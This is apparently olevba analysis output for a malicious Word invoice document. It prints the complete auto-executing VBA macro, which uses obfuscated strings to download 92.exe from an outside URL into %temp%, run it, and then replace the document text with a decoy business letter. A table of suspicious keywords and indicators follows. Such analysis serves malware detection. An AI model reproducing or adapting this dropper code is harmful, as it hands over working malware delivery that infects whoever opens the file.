Malicious Word macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASI-B-V invoic~1.doc

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: invoic~1.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: invoic~1.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub aliphatic()
Dim elul As String
Dim deforming As Integer
Dim ceratopteris As Variant
guzzler
End Sub


Sub guzzler()
Dim senora As Object
Dim sacatra As String
Dim algin As String
waterloo = "odds.exe"

Set befit = VBA.CreateObject("WS" + Mid("benedictorycript.Shellchargeship", 12, 11))
sacatra = CallByName(befit, "ExpandEnvironmentStrings", VbMethod, "%temp%")
algin = sacatra & "\tmpcanellaceae" & waterloo
Set almighty = adjudge()
carthusian = #11:09:50 AM#
technocracy = Hour(carthusian)

normalcy = fancifully(almighty, algin)
manner = #4:53:45 PM#
logogriph = Hour(manner)

befit.Run algin
Safeword
End Sub


Function fancifully(anosmia, mallet)
aoristic = ActiveDocument.BuiltInDocumentProperties("Author")
acharn = Left(aoristic, 2)
bamboo = acharn + "o" + Mid("antipastodb.dermoptera", 10, 3) + Mid("humanisticStreambullhorn", 11, 6)
Set genotypical = CreateObject(bamboo)
erubuit = CallByName(genotypical, "Open", VbMethod)
genotypical.Type = 122 - 121
straggle = CallByName(genotypical, "Write", VbMethod, anosmia.responseBody)
congregationalism = CallByName(genotypical, "Sav" + "eToFi" + "le", VbMethod, mallet, 101 - 100)
End Function


Sub AutoOpen()
bondslave = #6:53:12 AM#
pyrolusite = Hour(bondslave)
aliphatic
End Sub



Function adjudge()
On Error Resume Next
pert = "Msx" + Mid("ganderml2.Xquaker", 7, 5) + "MLHTTP"
Set adjudge = CreateObject(pert)
dibranchiate = StrReverse("TEG")
adjudge.Open dibranchiate, "http://thewelltakeberlin.com/92.exe", False
picometer = CallByName(adjudge, "send", VbMethod)
GoTo Ex
Ext:
adjudge = 0
Ex:
End Function


Sub Safeword()
  Word.ActiveDocument.Range.Select
   Selection.WholeStory
     Selection.Delete Unit:=wdCharacter, Count:=(101 - 100)
     Dim shadows As Word.Document
     Set shadows = ThisDocument
     shadows.Range.InsertParagraphAfter

     shadows.Range.InsertAfter "Dear Client" + vbLf
shadows.Range.InsertAfter "" + vbLf
shadows.Range.InsertAfter "As of Monday, July 1, 2016, Corporation of America 's Eastern Regional Office will be located in our" + vbLf
shadows.Range.InsertAfter "new offices and warehouse building at 401 Grandiosa Boulevard, Tampa, Florida, 33715. " + vbLf
shadows.Range.InsertAfter "The telephone number or this new location is (813) 555-5428." + vbLf
shadows.Range.InsertAfter "" + vbLf
shadows.Range.InsertAfter "Our Manufacturing Division will remain at 2550 Santa Fe Avenue, in St. Petersburg." + vbLf
shadows.Range.InsertAfter "" + vbLf
shadows.Range.InsertAfter "" + vbLf
shadows.Range.InsertAfter "I have enclosed our most recent brochure on robotic equipment for your review." + vbLf
shadows.Range.InsertAfter "I hope you find it interesting." + vbLf
shadows.Range.InsertAfter "" + vbLf

End Sub

+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Run                  | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | CallByName           | May attempt to obfuscate malicious      |
|            |                      | function calls                          |
| Suspicious | StrReverse           | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | SaveToFile           | May create a text file (obfuscation:    |
|            |                      | VBA expression)                         |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | http://thewelltakebe | URL                                     |
|            | rlin.com/92.exe      |                                         |
| IOC        | odds.exe             | Executable file name                    |
| IOC        | 92.exe               | Executable file name                    |
| VBA string | SaveToFile           | "Sav" + "eToFi" + "le"                  |
| VBA string | GET                  | StrReverse("TEG")                       |
+------------+----------------------+-----------------------------------------+